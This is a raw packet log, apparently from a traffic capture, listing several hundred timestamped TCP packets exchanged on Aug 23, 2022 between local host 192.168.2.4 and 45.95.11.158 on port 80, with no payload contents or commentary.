Aug 23, 2022 03:42:41.329557896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329566002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329602957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329610109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329646111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329654932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329699993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329715967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329766035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329775095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329816103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329818964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329859972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329868078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329915047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329920053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329967976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329971075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330051899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330059052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330097914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330105066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330153942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330156088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330200911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330214977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330255985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330260992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330303907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330310106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330358982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330368996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330415964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330421925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330466032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330472946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330518961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330523968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330569029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330576897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330620050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330631018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330672026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330681086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330718040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330728054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330777884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330782890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330836058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330876112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330890894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330925941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330929041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.330979109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.330981016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331031084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331034899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331075907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331082106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331120014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331127882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331171989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331182003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331229925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331233978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331280947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331286907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331332922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331341028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331403017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331417084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331461906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.331491947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.331506968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353600025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353646040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353688002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353703976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353719950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353739977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353758097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353764057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353775978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353804111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353838921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353843927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353873014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.353879929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353904963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.353919029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361793041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361829042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361856937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361862898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361875057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361891985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361896992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361898899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361915112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361923933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361932993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361948967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361960888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361967087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361984968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.361990929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.361999035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.362015009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.362039089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.362041950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.362056971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.362065077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.362073898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.362126112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.363547087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363579035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363606930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363626003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363629103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.363648891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363672972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363686085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.363698006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363701105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.363714933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.363732100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.363756895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.364197016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.364223957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.364248037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.364264965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.364284039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.364315987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365586042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365617037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365642071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365644932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365659952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365674019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365689993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365701914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365752935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365777016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365791082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365802050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365813017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365835905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365838051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365863085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365875006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365888119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365900993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365911961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365921021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365927935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.365946054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.365962982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366601944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366661072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366687059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366697073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366703987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366720915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366724968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366741896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366750956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366775036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366801977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366805077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366821051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.366836071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366842031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.366857052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.367106915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367135048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367158890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367177010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367180109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.367208958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.367233038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.367786884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367818117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367841959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367858887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.367892981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.367917061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368139029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368165016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368187904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368201971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368205070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368227959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368247032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368256092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368273020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368299961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368324995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368341923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.368391037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.368422031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.369508982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369534969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369559050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369577885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369596958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.369601965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369626045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369633913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.369649887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369667053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.369688988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.369709969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.369734049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.371505976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.371536970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.371562004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.371578932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.371606112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.371637106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375272989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375305891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375329971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375368118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375376940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375395060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375408888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375420094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375442982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375447035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375459909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.375473022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375498056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.375516891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.383094072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.383306980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404608965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404643059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404666901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404694080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404716969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404735088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404756069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404776096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404824018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404865026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404870033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404871941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404877901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404885054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404920101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.404943943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404968977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.404998064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405009985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405014038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405057907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405078888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405097008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405132055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405148029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405174017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405186892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405236006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405306101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405325890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405349016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405359030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405373096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405375957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405392885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405396938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405416012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405446053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405478954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405498981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405600071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405626059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405643940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405659914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405683041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405702114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405709982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405736923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405761003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405787945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405812979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405848026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405873060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405898094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405913115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405915022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405939102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405956030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.405961990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405985117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.405999899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406136036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406172037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406199932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406229973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406259060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406275988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406321049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406328917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406364918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406368017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406414986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406464100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406514883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406529903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406579971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406598091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406647921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406668901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406718016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406755924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406776905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406799078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406814098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406846046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406853914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406869888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406897068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406915903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.406920910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406946898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406963110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.406972885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407044888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407095909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.407099009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407116890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.407139063 CEST	80	49743	45.95.11.158	192.168.2.4
